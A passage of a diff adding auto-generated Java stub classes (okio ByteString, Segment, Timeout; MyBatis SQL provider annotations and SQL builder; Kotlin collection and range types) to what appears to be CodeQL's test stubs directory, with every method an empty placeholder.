+import okio.Buffer;
+
+public class ByteString implements Comparable<ByteString>, Serializable {
+    protected ByteString() {}
+
+    public ByteBuffer asByteBuffer() {
+        return null;
+    }
+
+    public ByteString digest$okio(String p0) {
+        return null;
+    }
+
+    public ByteString hmac$okio(String p0, ByteString p1) {
+        return null;
+    }
+
+    public ByteString hmacSha1(ByteString p0) {
+        return null;
+    }
+
+    public ByteString hmacSha256(ByteString p0) {
+        return null;
+    }
+
+    public ByteString hmacSha512(ByteString p0) {
+        return null;
+    }
+
+    public ByteString md5() {
+        return null;
+    }
+
+    public ByteString sha1() {
+        return null;
+    }
+
+    public ByteString sha256() {
+        return null;
+    }
+
+    public ByteString sha512() {
+        return null;
+    }
+
+    public ByteString substring(int p0, int p1) {
+        return null;
+    }
+
+    public ByteString toAsciiLowercase() {
+        return null;
+    }
+
+    public ByteString toAsciiUppercase() {
+        return null;
+    }
+
+    public ByteString(byte[] p0) {}
+
+    public String base64() {
+        return null;
+    }
+
+    public String base64Url() {
+        return null;
+    }
+
+    public String hex() {
+        return null;
+    }
+
+    public String string(Charset p0) {
+        return null;
+    }
+
+    public String toString() {
+        return null;
+    }
+
+    public String utf8() {
+        return null;
+    }
+
+    public boolean equals(Object p0) {
+        return false;
+    }
+
+    public boolean rangeEquals(int p0, ByteString p1, int p2, int p3) {
+        return false;
+    }
+
+    public boolean rangeEquals(int p0, byte[] p1, int p2, int p3) {
+        return false;
+    }
+
+    public byte internalGet$okio(int p0) {
+        return 0;
+    }
+
+    public byte[] internalArray$okio() {
+        return null;
+    }
+
+    public byte[] toByteArray() {
+        return null;
+    }
+
+    public final ByteString substring() {
+        return null;
+    }
+
+    public final ByteString substring(int p0) {
+        return null;
+    }
+
+    public final String getUtf8$okio() {
+        return null;
+    }
+
+    public final boolean endsWith(ByteString p0) {
+        return false;
+    }
+
+    public final boolean endsWith(byte[] p0) {
+        return false;
+    }
+
+    public final boolean startsWith(ByteString p0) {
+        return false;
+    }
+
+    public final boolean startsWith(byte[] p0) {
+        return false;
+    }
+
+    public final byte getByte(int p0) {
+        return 0;
+    }
+
+    public final byte[] getData$okio() {
+        return null;
+    }
+
+    public final int getHashCode$okio() {
+        return 0;
+    }
+
+    public final int indexOf(ByteString p0) {
+        return 0;
+    }
+
+    public final int indexOf(ByteString p0, int p1) {
+        return 0;
+    }
+
+    public final int indexOf(byte[] p0) {
+        return 0;
+    }
+
+    public final int lastIndexOf(ByteString p0) {
+        return 0;
+    }
+
+    public final int lastIndexOf(ByteString p0, int p1) {
+        return 0;
+    }
+
+    public final int lastIndexOf(byte[] p0) {
+        return 0;
+    }
+
+    public final int size() {
+        return 0;
+    }
+
+    public final void setHashCode$okio(int p0) {}
+
+    public final void setUtf8$okio(String p0) {}
+
+    public int compareTo(ByteString p0) {
+        return 0;
+    }
+
+    public int getSize$okio() {
+        return 0;
+    }
+
+    public int hashCode() {
+        return 0;
+    }
+
+    public int indexOf(byte[] p0, int p1) {
+        return 0;
+    }
+
+    public int lastIndexOf(byte[] p0, int p1) {
+        return 0;
+    }
+
+    public static ByteString EMPTY = null;
+
+    public static ByteString decodeBase64(String p0) {
+        return null;
+    }
+
+    public static ByteString decodeHex(String p0) {
+        return null;
+    }
+
+    public static ByteString encodeString(String p0, Charset p1) {
+        return null;
+    }
+
+    public static ByteString encodeUtf8(String p0) {
+        return null;
+    }
+
+    public static ByteString of(ByteBuffer p0) {
+        return null;
+    }
+
+    public static ByteString of(byte... p0) {
+        return null;
+    }
+
+    public static ByteString of(byte[] p0, int p1, int p2) {
+        return null;
+    }
+
+    public static ByteString read(InputStream p0, int p1) {
+        return null;
+    }
+
+    public static ByteString.Companion Companion = null;
+
+    public void write$okio(Buffer p0, int p1, int p2) {}
+
+    public void write(OutputStream p0) {}
+
+    static public class Companion {
+        protected Companion() {}
+
+        public final ByteString decodeBase64(String p0) {
+            return null;
+        }
+
+        public final ByteString decodeHex(String p0) {
+            return null;
+        }
+
+        public final ByteString encodeString(String p0, Charset p1) {
+            return null;
+        }
+
+        public final ByteString encodeUtf8(String p0) {
+            return null;
+        }
+
+        public final ByteString of(ByteBuffer p0) {
+            return null;
+        }
+
+        public final ByteString of(byte... p0) {
+            return null;
+        }
+
+        public final ByteString of(byte[] p0, int p1, int p2) {
+            return null;
+        }
+
+        public final ByteString read(InputStream p0, int p1) {
+            return null;
+        }
+    }
+}
diff --git a/java/ql/test/stubs/okhttp-4.9.3/okio/Options.java b/java/ql/test/stubs/okhttp-4.9.3/okio/Options.java
new file mode 100644
index 00000000000..13011a0c17a
--- /dev/null
+++ b/java/ql/test/stubs/okhttp-4.9.3/okio/Options.java
@@ -0,0 +1,28 @@
+// Generated automatically from okio.Options for testing purposes
+
+package okio;
+
+import java.util.Collection;
+import java.util.RandomAccess;
+import kotlin.collections.AbstractList;
+import okio.ByteString;
+
+public class Options extends AbstractList<ByteString> implements RandomAccess
+{
+    protected Options() {}
+    public ByteString get(int p0){ return null; }
+    public final ByteString[] getByteStrings$okio(){ return null; }
+    public final int[] getTrie$okio(){ return null; }
+    public int getSize(){ return 0; }
+    public static Options of(ByteString... p0){ return null; }
+    public static Options.Companion Companion = null;
+    static public class Companion
+    {
+        protected Companion() {}
+        public final Options of(ByteString... p0){ return null; }
+    }
+    public int size() { return 0; }
+    public boolean containsAll(Collection<?> c) { return false; }
+    public boolean removeAll(Collection<?> c) { return false; }
+    public boolean retainAll(Collection<?> c) { return false; }
+}
diff --git a/java/ql/test/stubs/okhttp-4.9.3/okio/Segment.java b/java/ql/test/stubs/okhttp-4.9.3/okio/Segment.java
new file mode 100644
index 00000000000..4a31e4d31b3
--- /dev/null
+++ b/java/ql/test/stubs/okhttp-4.9.3/okio/Segment.java
@@ -0,0 +1,31 @@
+// Generated automatically from okio.Segment for testing purposes
+
+package okio;
+
+
+public class Segment
+{
+    public Segment next = null;
+    public Segment prev = null;
+    public Segment(){}
+    public Segment(byte[] p0, int p1, int p2, boolean p3, boolean p4){}
+    public boolean owner = false;
+    public boolean shared = false;
+    public final Segment pop(){ return null; }
+    public final Segment push(Segment p0){ return null; }
+    public final Segment sharedCopy(){ return null; }
+    public final Segment split(int p0){ return null; }
+    public final Segment unsharedCopy(){ return null; }
+    public final byte[] data = null;
+    public final void compact(){}
+    public final void writeTo(Segment p0, int p1){}
+    public int limit = 0;
+    public int pos = 0;
+    public static Segment.Companion Companion = null;
+    public static int SHARE_MINIMUM = 0;
+    public static int SIZE = 0;
+    static public class Companion
+    {
+        protected Companion() {}
+    }
+}
diff --git a/java/ql/test/stubs/okhttp-4.9.3/okio/Sink.java b/java/ql/test/stubs/okhttp-4.9.3/okio/Sink.java
new file mode 100644
index 00000000000..0f6721212de
--- /dev/null
+++ b/java/ql/test/stubs/okhttp-4.9.3/okio/Sink.java
@@ -0,0 +1,16 @@
+// Generated automatically from okio.Sink for testing purposes
+
+package okio;
+
+import java.io.Closeable;
+import java.io.Flushable;
+import okio.Buffer;
+import okio.Timeout;
+
+public interface Sink extends Closeable, Flushable
+{
+    Timeout timeout();
+    void close();
+    void flush();
+    void write(Buffer p0, long p1);
+}
diff --git a/java/ql/test/stubs/okhttp-4.9.3/okio/Source.java b/java/ql/test/stubs/okhttp-4.9.3/okio/Source.java
new file mode 100644
index 00000000000..561b3b876c0
--- /dev/null
+++ b/java/ql/test/stubs/okhttp-4.9.3/okio/Source.java
@@ -0,0 +1,14 @@
+// Generated automatically from okio.Source for testing purposes
+
+package okio;
+
+import java.io.Closeable;
+import okio.Buffer;
+import okio.Timeout;
+
+public interface Source extends Closeable
+{
+    Timeout timeout();
+    long read(Buffer p0, long p1);
+    void close();
+}
diff --git a/java/ql/test/stubs/okhttp-4.9.3/okio/Timeout.java b/java/ql/test/stubs/okhttp-4.9.3/okio/Timeout.java
new file mode 100644
index 00000000000..0d7953fa324
--- /dev/null
+++ b/java/ql/test/stubs/okhttp-4.9.3/okio/Timeout.java
@@ -0,0 +1,30 @@
+// Generated automatically from okio.Timeout for testing purposes
+
+package okio;
+
+import java.util.concurrent.TimeUnit;
+import kotlin.Unit;
+import kotlin.jvm.functions.Function0;
+
+public class Timeout
+{
+    public Timeout clearDeadline(){ return null; }
+    public Timeout clearTimeout(){ return null; }
+    public Timeout deadlineNanoTime(long p0){ return null; }
+    public Timeout timeout(long p0, TimeUnit p1){ return null; }
+    public Timeout(){}
+    public boolean hasDeadline(){ return false; }
+    public final Timeout deadline(long p0, TimeUnit p1){ return null; }
+    public final void intersectWith(Timeout p0, Function0<Unit> p1){}
+    public final void waitUntilNotified(Object p0){}
+    public long deadlineNanoTime(){ return 0; }
+    public long timeoutNanos(){ return 0; }
+    public static Timeout NONE = null;
+    public static Timeout.Companion Companion = null;
+    public void throwIfReached(){}
+    static public class Companion
+    {
+        protected Companion() {}
+        public final long minTimeout(long p0, long p1){ return 0; }
+    }
+}
diff --git a/java/ql/test/stubs/org.mybatis-3.5.4/org/apache/ibatis/annotations/DeleteProvider.java b/java/ql/test/stubs/org.mybatis-3.5.4/org/apache/ibatis/annotations/DeleteProvider.java
new file mode 100644
index 00000000000..1f18d95a5f9
--- /dev/null
+++ b/java/ql/test/stubs/org.mybatis-3.5.4/org/apache/ibatis/annotations/DeleteProvider.java
@@ -0,0 +1,29 @@
+package org.apache.ibatis.annotations;
+
+import java.lang.annotation.Documented;
+import java.lang.annotation.ElementType;
+import java.lang.annotation.Repeatable;
+import java.lang.annotation.Retention;
+import java.lang.annotation.RetentionPolicy;
+import java.lang.annotation.Target;
+
+@Documented
+@Retention(RetentionPolicy.RUNTIME)
+@Target(ElementType.METHOD)
+@Repeatable(DeleteProvider.List.class)
+public @interface DeleteProvider {
+
+  Class<?> value() default void.class;
+
+  Class<?> type() default void.class;
+
+  String method() default "";
+
+  @Documented
+  @Retention(RetentionPolicy.RUNTIME)
+  @Target(ElementType.METHOD)
+  @interface List {
+    DeleteProvider[] value();
+  }
+
+}
\ No newline at end of file
diff --git a/java/ql/test/stubs/org.mybatis-3.5.4/org/apache/ibatis/annotations/InsertProvider.java b/java/ql/test/stubs/org.mybatis-3.5.4/org/apache/ibatis/annotations/InsertProvider.java
new file mode 100644
index 00000000000..04646c6538e
--- /dev/null
+++ b/java/ql/test/stubs/org.mybatis-3.5.4/org/apache/ibatis/annotations/InsertProvider.java
@@ -0,0 +1,29 @@
+package org.apache.ibatis.annotations;
+
+import java.lang.annotation.Documented;
+import java.lang.annotation.ElementType;
+import java.lang.annotation.Repeatable;
+import java.lang.annotation.Retention;
+import java.lang.annotation.RetentionPolicy;
+import java.lang.annotation.Target;
+
+@Documented
+@Retention(RetentionPolicy.RUNTIME)
+@Target(ElementType.METHOD)
+@Repeatable(InsertProvider.List.class)
+public @interface InsertProvider {
+
+  Class<?> value() default void.class;
+
+  Class<?> type() default void.class;
+
+  String method() default "";
+
+  @Documented
+  @Retention(RetentionPolicy.RUNTIME)
+  @Target(ElementType.METHOD)
+  @interface List {
+    InsertProvider[] value();
+  }
+
+}
\ No newline at end of file
diff --git a/java/ql/test/stubs/org.mybatis-3.5.4/org/apache/ibatis/annotations/SelectProvider.java b/java/ql/test/stubs/org.mybatis-3.5.4/org/apache/ibatis/annotations/SelectProvider.java
new file mode 100644
index 00000000000..4c3b4e176cb
--- /dev/null
+++ b/java/ql/test/stubs/org.mybatis-3.5.4/org/apache/ibatis/annotations/SelectProvider.java
@@ -0,0 +1,29 @@
+package org.apache.ibatis.annotations;
+
+import java.lang.annotation.Documented;
+import java.lang.annotation.ElementType;
+import java.lang.annotation.Repeatable;
+import java.lang.annotation.Retention;
+import java.lang.annotation.RetentionPolicy;
+import java.lang.annotation.Target;
+
+@Documented
+@Retention(RetentionPolicy.RUNTIME)
+@Target(ElementType.METHOD)
+@Repeatable(SelectProvider.List.class)
+public @interface SelectProvider {
+
+  Class<?> value() default void.class;
+
+  Class<?> type() default void.class;
+
+  String method() default "";
+
+  @Documented
+  @Retention(RetentionPolicy.RUNTIME)
+  @Target(ElementType.METHOD)
+  @interface List {
+    SelectProvider[] value();
+  }
+
+}
\ No newline at end of file
diff --git a/java/ql/test/stubs/org.mybatis-3.5.4/org/apache/ibatis/annotations/UpdateProvider.java b/java/ql/test/stubs/org.mybatis-3.5.4/org/apache/ibatis/annotations/UpdateProvider.java
new file mode 100644
index 00000000000..32d2c21ad97
--- /dev/null
+++ b/java/ql/test/stubs/org.mybatis-3.5.4/org/apache/ibatis/annotations/UpdateProvider.java
@@ -0,0 +1,29 @@
+package org.apache.ibatis.annotations;
+
+import java.lang.annotation.Documented;
+import java.lang.annotation.ElementType;
+import java.lang.annotation.Repeatable;
+import java.lang.annotation.Retention;
+import java.lang.annotation.RetentionPolicy;
+import java.lang.annotation.Target;
+
+@Documented
+@Retention(RetentionPolicy.RUNTIME)
+@Target(ElementType.METHOD)
+@Repeatable(UpdateProvider.List.class)
+public @interface UpdateProvider {
+
+  Class<?> value() default void.class;
+
+  Class<?> type() default void.class;
+
+  String method() default "";
+
+  @Documented
+  @Retention(RetentionPolicy.RUNTIME)
+  @Target(ElementType.METHOD)
+  @interface List {
+    UpdateProvider[] value();
+  }
+
+}
\ No newline at end of file
diff --git a/java/ql/test/stubs/org.mybatis-3.5.4/org/apache/ibatis/jdbc/AbstractSQL.java b/java/ql/test/stubs/org.mybatis-3.5.4/org/apache/ibatis/jdbc/AbstractSQL.java
new file mode 100644
index 00000000000..b5764e0cf0d
--- /dev/null
+++ b/java/ql/test/stubs/org.mybatis-3.5.4/org/apache/ibatis/jdbc/AbstractSQL.java
@@ -0,0 +1,154 @@
+package org.apache.ibatis.jdbc;
+
+public abstract class AbstractSQL<T> {
+    public abstract T getSelf();
+
+    public T UPDATE(String table) {
+        return getSelf();
+    }
+
+    public T SET(String sets) {
+        return getSelf();
+    }
+
+    public T SET(String ... sets) {
+        return getSelf();
+    }
+
+    public T INSERT_INTO(String tableName) {
+        return getSelf();
+    }
+
+    public T VALUES(String columns, String values) {
+        return getSelf();
+    }
+
+    public T INTO_COLUMNS(String ... columns) {
+        return getSelf();
+    }
+
+    public T INTO_VALUES(String ... values) {
+        return getSelf();
+    }
+
+    public T SELECT(String columns) {
+        return getSelf();
+    }
+
+    public T SELECT(String ... columns) {
+        return getSelf();
+    }
+
+    public T SELECT_DISTINCT(String columns) {
+        return getSelf();
+    }
+
+    public T SELECT_DISTINCT(String ... columns) {
+        return getSelf();
+    }
+
+    public T DELETE_FROM(String table) {
+        return getSelf();
+    }
+
+    public T FROM(String table) {
+        return getSelf();
+    }
+
+    public T FROM(String ... tables) {
+        return getSelf();
+    }
+
+    public T JOIN(String join) {
+        return getSelf();
+    }
+
+    public T JOIN(String ... joins) {
+        return getSelf();
+    }
+
+    public T INNER_JOIN(String join) {
+        return getSelf();
+    }
+
+    public T INNER_JOIN(String ... joins) {
+        return getSelf();
+    }
+
+    public T LEFT_OUTER_JOIN(String join) {
+        return getSelf();
+    }
+
+    public T LEFT_OUTER_JOIN(String ... joins) {
+        return getSelf();
+    }
+
+    public T RIGHT_OUTER_JOIN(String join) {
+        return getSelf();
+    }
+
+    public T RIGHT_OUTER_JOIN(String ... joins) {
+        return getSelf();
+    }
+
+    public T OUTER_JOIN(String join) {
+        return getSelf();
+    }
+
+    public T OUTER_JOIN(String ... joins) {
+        return getSelf();
+    }
+
+    public T WHERE(String conditions) {
+        return getSelf();
+    }
+
+    public T WHERE(String ... conditions) {
+        return getSelf();
+    }
+
+    public T GROUP_BY(String columns) {
+        return getSelf();
+    }
+
+    public T GROUP_BY(String ... columns) {
+        return getSelf();
+    }
+
+    public T HAVING(String conditions) {
+        return getSelf();
+    }
+
+    public T HAVING(String ... conditions) {
+        return getSelf();
+    }
+
+    public T ORDER_BY(String columns) {
+        return getSelf();
+    }
+
+    public T ORDER_BY(String ... columns) {
+        return getSelf();
+    }
+
+    public T LIMIT(String variable) {
+        return getSelf();
+    }
+
+    public T OFFSET(String variable) {
+        return getSelf();
+    }
+
+    public T FETCH_FIRST_ROWS_ONLY(String variable) {
+        return getSelf();
+    }
+
+    public T OFFSET_ROWS(String variable) {
+        return getSelf();
+    }
+
+    @Override
+    public String toString() {
+    return "";
+    }
+}
\ No newline at end of file
diff --git a/java/ql/test/stubs/org.mybatis-3.5.4/org/apache/ibatis/jdbc/SQL.java b/java/ql/test/stubs/org.mybatis-3.5.4/org/apache/ibatis/jdbc/SQL.java
new file mode 100644
index 00000000000..37969f8be8c
--- /dev/null
+++ b/java/ql/test/stubs/org.mybatis-3.5.4/org/apache/ibatis/jdbc/SQL.java
@@ -0,0 +1,10 @@
+package org.apache.ibatis.jdbc;
+
+public class SQL extends AbstractSQL<SQL> {
+
+  @Override
+  public SQL getSelf() {
+    return this;
+  }
+  
+}
\ No newline at end of file
diff --git a/java/ql/test/stubs/retrofit-2.9.0/kotlin/Function.java b/java/ql/test/stubs/retrofit-2.9.0/kotlin/Function.java
new file mode 100644
index 00000000000..ec16743fa7a
--- /dev/null
+++ b/java/ql/test/stubs/retrofit-2.9.0/kotlin/Function.java
@@ -0,0 +1,8 @@
+// Generated automatically from kotlin.Function for testing purposes
+
+package kotlin;
+
+
+public interface Function<R>
+{
+}
diff --git a/java/ql/test/stubs/retrofit-2.9.0/kotlin/Pair.java b/java/ql/test/stubs/retrofit-2.9.0/kotlin/Pair.java
new file mode 100644
index 00000000000..74869657cb4
--- /dev/null
+++ b/java/ql/test/stubs/retrofit-2.9.0/kotlin/Pair.java
@@ -0,0 +1,19 @@
+// Generated automatically from kotlin.Pair for testing purposes
+
+package kotlin;
+
+import java.io.Serializable;
+
+public class Pair<A, B> implements Serializable
+{
+    protected Pair() {}
+    public Pair(A p0, B p1){}
+    public String toString(){ return null; }
+    public boolean equals(Object p0){ return false; }
+    public final A component1(){ return null; }
+    public final A getFirst(){ return null; }
+    public final B component2(){ return null; }
+    public final B getSecond(){ return null; }
+    public final Pair<A, B> copy(A p0, B p1){ return null; }
+    public int hashCode(){ return 0; }
+}
diff --git a/java/ql/test/stubs/retrofit-2.9.0/kotlin/Unit.java b/java/ql/test/stubs/retrofit-2.9.0/kotlin/Unit.java
new file mode 100644
index 00000000000..c2aeb7e3616
--- /dev/null
+++ b/java/ql/test/stubs/retrofit-2.9.0/kotlin/Unit.java
@@ -0,0 +1,11 @@
+// Generated automatically from kotlin.Unit for testing purposes
+
+package kotlin;
+
+
+public class Unit
+{
+    protected Unit() {}
+    public String toString(){ return null; }
+    public static Unit INSTANCE = null;
+}
diff --git a/java/ql/test/stubs/retrofit-2.9.0/kotlin/collections/AbstractCollection.java b/java/ql/test/stubs/retrofit-2.9.0/kotlin/collections/AbstractCollection.java
new file mode 100644
index 00000000000..48555f6818e
--- /dev/null
+++ b/java/ql/test/stubs/retrofit-2.9.0/kotlin/collections/AbstractCollection.java
@@ -0,0 +1,26 @@
+// Generated automatically from kotlin.collections.AbstractCollection for testing purposes
+
+package kotlin.collections;
+
+import java.util.Collection;
+import java.util.Iterator;
+import kotlin.jvm.internal.markers.KMappedMarker;
+
+abstract public class AbstractCollection<E> implements Collection<E>, KMappedMarker
+{
+    protected AbstractCollection(){}
+    public <T> T[] toArray(T[] p0){ return null; }
+    public Object[] toArray(){ return null; }
+    public String toString(){ return null; }
+    public abstract Iterator<E> iterator();
+    public abstract int getSize();
+    public boolean add(E p0){ return false; }
+    public boolean addAll(Collection<? extends E> p0){ return false; }
+    public boolean contains(Object p0){ return false; }
+    public boolean containsAll(Collection<? extends Object> p0){ return false; }
+    public boolean isEmpty(){ return false; }
+    public boolean remove(Object p0){ return false; }
+    public boolean removeAll(Collection<? extends Object> p0){ return false; }
+    public boolean retainAll(Collection<? extends Object> p0){ return false; }
+    public void clear(){}
+}
diff --git a/java/ql/test/stubs/retrofit-2.9.0/kotlin/collections/AbstractList.java b/java/ql/test/stubs/retrofit-2.9.0/kotlin/collections/AbstractList.java
new file mode 100644
index 00000000000..1a11dbf9132
--- /dev/null
+++ b/java/ql/test/stubs/retrofit-2.9.0/kotlin/collections/AbstractList.java
@@ -0,0 +1,40 @@
+// Generated automatically from kotlin.collections.AbstractList for testing purposes
+
+package kotlin.collections;
+
+import java.util.Collection;
+import java.util.Iterator;
+import java.util.List;
+import java.util.ListIterator;
+import kotlin.collections.AbstractCollection;
+import kotlin.jvm.internal.markers.KMappedMarker;
+
+abstract public class AbstractList<E> extends AbstractCollection<E> implements KMappedMarker, List<E>
+{
+    protected AbstractList(){}
+    public E remove(int p0){ return null; }
+    public E set(int p0, E p1){ return null; }
+    public Iterator<E> iterator(){ return null; }
+    public List<E> subList(int p0, int p1){ return null; }
+    public ListIterator<E> listIterator(){ return null; }
+    public ListIterator<E> listIterator(int p0){ return null; }
+    public abstract E get(int p0);
+    public abstract int getSize();
+    public boolean addAll(int p0, Collection<? extends E> p1){ return false; }
+    public boolean equals(Object p0){ return false; }
+    public int hashCode(){ return 0; }
+    public int indexOf(Object p0){ return 0; }
+    public int lastIndexOf(Object p0){ return 0; }
+    public static AbstractList.Companion Companion = null;
+    public void add(int p0, E p1){}
+    static public class Companion
+    {
+        protected Companion() {}
+        public final boolean orderedEquals$kotlin_stdlib(Collection<? extends Object> p0, Collection<? extends Object> p1){ return false; }
+        public final int orderedHashCode$kotlin_stdlib(Collection<? extends Object> p0){ return 0; }
+        public final void checkBoundsIndexes$kotlin_stdlib(int p0, int p1, int p2){}
+        public final void checkElementIndex$kotlin_stdlib(int p0, int p1){}
+        public final void checkPositionIndex$kotlin_stdlib(int p0, int p1){}
+        public final void checkRangeIndexes$kotlin_stdlib(int p0, int p1, int p2){}
+    }
+}
diff --git a/java/ql/test/stubs/retrofit-2.9.0/kotlin/collections/IntIterator.java b/java/ql/test/stubs/retrofit-2.9.0/kotlin/collections/IntIterator.java
new file mode 100644
index 00000000000..87ed291f07d
--- /dev/null
+++ b/java/ql/test/stubs/retrofit-2.9.0/kotlin/collections/IntIterator.java
@@ -0,0 +1,14 @@
+// Generated automatically from kotlin.collections.IntIterator for testing purposes
+
+package kotlin.collections;
+
+import java.util.Iterator;
+import kotlin.jvm.internal.markers.KMappedMarker;
+
+abstract public class IntIterator implements Iterator<Integer>, KMappedMarker
+{
+    public IntIterator(){}
+    public abstract int nextInt();
+    public final Integer next(){ return null; }
+    public void remove(){}
+}
diff --git a/java/ql/test/stubs/retrofit-2.9.0/kotlin/jvm/functions/Function0.java b/java/ql/test/stubs/retrofit-2.9.0/kotlin/jvm/functions/Function0.java
new file mode 100644
index 00000000000..93c5085ec5f
--- /dev/null
+++ b/java/ql/test/stubs/retrofit-2.9.0/kotlin/jvm/functions/Function0.java
@@ -0,0 +1,10 @@
+// Generated automatically from kotlin.jvm.functions.Function0 for testing purposes
+
+package kotlin.jvm.functions;
+
+import kotlin.Function;
+
+public interface Function0<R> extends Function<R>
+{
+    R invoke();
+}
diff --git a/java/ql/test/stubs/retrofit-2.9.0/kotlin/jvm/functions/Function1.java b/java/ql/test/stubs/retrofit-2.9.0/kotlin/jvm/functions/Function1.java
new file mode 100644
index 00000000000..775d4d8369b
--- /dev/null
+++ b/java/ql/test/stubs/retrofit-2.9.0/kotlin/jvm/functions/Function1.java
@@ -0,0 +1,10 @@
+// Generated automatically from kotlin.jvm.functions.Function1 for testing purposes
+
+package kotlin.jvm.functions;
+
+import kotlin.Function;
+
+public interface Function1<P1, R> extends Function<R>
+{
+    R invoke(P1 p0);
+}
diff --git a/java/ql/test/stubs/retrofit-2.9.0/kotlin/jvm/internal/markers/KMappedMarker.java b/java/ql/test/stubs/retrofit-2.9.0/kotlin/jvm/internal/markers/KMappedMarker.java
new file mode 100644
index 00000000000..08178fd7cc5
--- /dev/null
+++ b/java/ql/test/stubs/retrofit-2.9.0/kotlin/jvm/internal/markers/KMappedMarker.java
@@ -0,0 +1,8 @@
+// Generated automatically from kotlin.jvm.internal.markers.KMappedMarker for testing purposes
+
+package kotlin.jvm.internal.markers;
+
+
+public interface KMappedMarker
+{
+}
diff --git a/java/ql/test/stubs/retrofit-2.9.0/kotlin/ranges/ClosedRange.java b/java/ql/test/stubs/retrofit-2.9.0/kotlin/ranges/ClosedRange.java
new file mode 100644
index 00000000000..36880bd56db
--- /dev/null
+++ b/java/ql/test/stubs/retrofit-2.9.0/kotlin/ranges/ClosedRange.java
@@ -0,0 +1,12 @@
+// Generated automatically from kotlin.ranges.ClosedRange for testing purposes
+
+package kotlin.ranges;
+
+
+public interface ClosedRange<T extends Comparable<? super T>>
+{
+    T getEndInclusive();
+    T getStart();
+    boolean contains(T p0);
+    boolean isEmpty();
+}
diff --git a/java/ql/test/stubs/retrofit-2.9.0/kotlin/ranges/IntProgression.java b/java/ql/test/stubs/retrofit-2.9.0/kotlin/ranges/IntProgression.java
new file mode 100644
index 00000000000..3cf69027397
--- /dev/null
+++ b/java/ql/test/stubs/retrofit-2.9.0/kotlin/ranges/IntProgression.java
@@ -0,0 +1,26 @@
+// Generated automatically from kotlin.ranges.IntProgression for testing purposes
+
+package kotlin.ranges;
+
+import kotlin.collections.IntIterator;
+import kotlin.jvm.internal.markers.KMappedMarker;
+
+public class IntProgression implements Iterable<Integer>, KMappedMarker
+{
+    protected IntProgression() {}
+    public IntIterator iterator(){ return null; }
+    public IntProgression(int p0, int p1, int p2){}
+    public String toString(){ return null; }
+    public boolean equals(Object p0){ return false; }
+    public boolean isEmpty(){ return false; }
+    public final int getFirst(){ return 0; }
+    public final int getLast(){ return 0; }
+    public final int getStep(){ return 0; }
+    public int hashCode(){ return 0; }
+    public static IntProgression.Companion Companion = null;
+    static public class Companion
+    {
+        protected Companion() {}
+        public final IntProgression fromClosedRange(int p0, int p1, int p2){ return null; }
+    }
+}
diff --git a/java/ql/test/stubs/retrofit-2.9.0/kotlin/ranges/IntRange.java b/java/ql/test/stubs/retrofit-2.9.0/kotlin/ranges/IntRange.java
new file mode 100644
index 00000000000..663437f37c7
--- /dev/null
+++ b/java/ql/test/stubs/retrofit-2.9.0/kotlin/ranges/IntRange.java
@@ -0,0 +1,26 @@
+// Generated automatically from kotlin.ranges.IntRange for testing purposes
+
+package kotlin.ranges;
+
+import kotlin.ranges.ClosedRange;
+import kotlin.ranges.IntProgression;
+
+public class IntRange extends IntProgression implements ClosedRange<Integer>
+{
+    protected IntRange() {}
+    public IntRange(int p0, int p1){}
+    public Integer getEndInclusive(){ return null; }
+    public Integer getStart(){ return null; }
+    public String toString(){ return null; }
+    public boolean contains(int p0){ return false; }
+    public boolean equals(Object p0){ return false; }
+    public boolean isEmpty(){ return false; }
+    public int hashCode(){ return 0; }
+    public static IntRange.Companion Companion = null;
+    static public class Companion
+    {
+        protected Companion() {}
+        public final IntRange getEMPTY(){ return null; }
+    }
+    public boolean contains(Integer p0) { return false; }
+}
diff --git a/java/ql/test/stubs/retrofit-2.9.0/kotlin/sequences/Sequence.java b/java/ql/test/stubs/retrofit-2.9.0/kotlin/sequences/Sequence.java
new file mode 100644
index 00000000000..6f57a5a443a
--- /dev/null
+++ b/java/ql/test/stubs/retrofit-2.9.0/kotlin/sequences/Sequence.java
@@ -0,0 +1,10 @@
+// Generated automatically from kotlin.sequences.Sequence for testing purposes
+
+package kotlin.sequences;
+
+import java.util.Iterator;
+
+public interface Sequence<T>
+{
+    Iterator<T> iterator();
+}
diff --git a/java/ql/test/stubs/retrofit-2.9.0/kotlin/text/FlagEnum.java b/java/ql/test/stubs/retrofit-2.9.0/kotlin/text/FlagEnum.java
new file mode 100644
index 00000000000..8ec20898544
--- /dev/null
+++ b/java/ql/test/stubs/retrofit-2.9.0/kotlin/text/FlagEnum.java
@@ -0,0 +1,10 @@
+// Generated automatically from kotlin.text.FlagEnum for testing purposes
+
+package kotlin.text;
+
+
+interface FlagEnum
+{
+    int getMask();
+    int getValue();
+}
diff --git a/java/ql/test/stubs/retrofit-2.9.0/kotlin/text/MatchGroup.java b/java/ql/test/stubs/retrofit-2.9.0/kotlin/text/MatchGroup.java
new file mode 100644
index 00000000000..e90a0ea9264
--- /dev/null
+++ b/java/ql/test/stubs/retrofit-2.9.0/kotlin/text/MatchGroup.java
@@ -0,0 +1,19 @@
+// Generated automatically from kotlin.text.MatchGroup for testing purposes
+
+package kotlin.text;
+
+import kotlin.ranges.IntRange;
+
+public class MatchGroup
+{
+    protected MatchGroup() {}
+    public MatchGroup(String p0, IntRange p1){}
+    public String toString(){ return null; }
+    public boolean equals(Object p0){ return false; }
+    public final IntRange component2(){ return null; }
+    public final IntRange getRange(){ return null; }
+    public final MatchGroup copy(String p0, IntRange p1){ return null; }
+    public final String component1(){ return null; }
+    public final String getValue(){ return null; }
+    public int hashCode(){ return 0; }
+}
diff --git a/java/ql/test/stubs/retrofit-2.9.0/kotlin/text/MatchGroupCollection.java b/java/ql/test/stubs/retrofit-2.9.0/kotlin/text/MatchGroupCollection.java
new file mode 100644
index 00000000000..ca401ed1a98
--- /dev/null
+++ b/java/ql/test/stubs/retrofit-2.9.0/kotlin/text/MatchGroupCollection.java
@@ -0,0 +1,12 @@
+// Generated automatically from kotlin.text.MatchGroupCollection for testing purposes
+
+package kotlin.text;
+
+import java.util.Collection;
+import kotlin.jvm.internal.markers.KMappedMarker;
+import kotlin.text.MatchGroup;
+
+public interface MatchGroupCollection extends Collection<MatchGroup>, KMappedMarker
+{
+    MatchGroup get(int p0);
+}
diff --git a/java/ql/test/stubs/retrofit-2.9.0/kotlin/text/MatchResult.java b/java/ql/test/stubs/retrofit-2.9.0/kotlin/text/MatchResult.java
new file mode 100644
index 00000000000..888b629712c
--- /dev/null
+++ b/java/ql/test/stubs/retrofit-2.9.0/kotlin/text/MatchResult.java
@@ -0,0 +1,24 @@
+// Generated automatically from kotlin.text.MatchResult for testing purposes
+
+package kotlin.text;
+
+import java.util.List;
+import kotlin.ranges.IntRange;
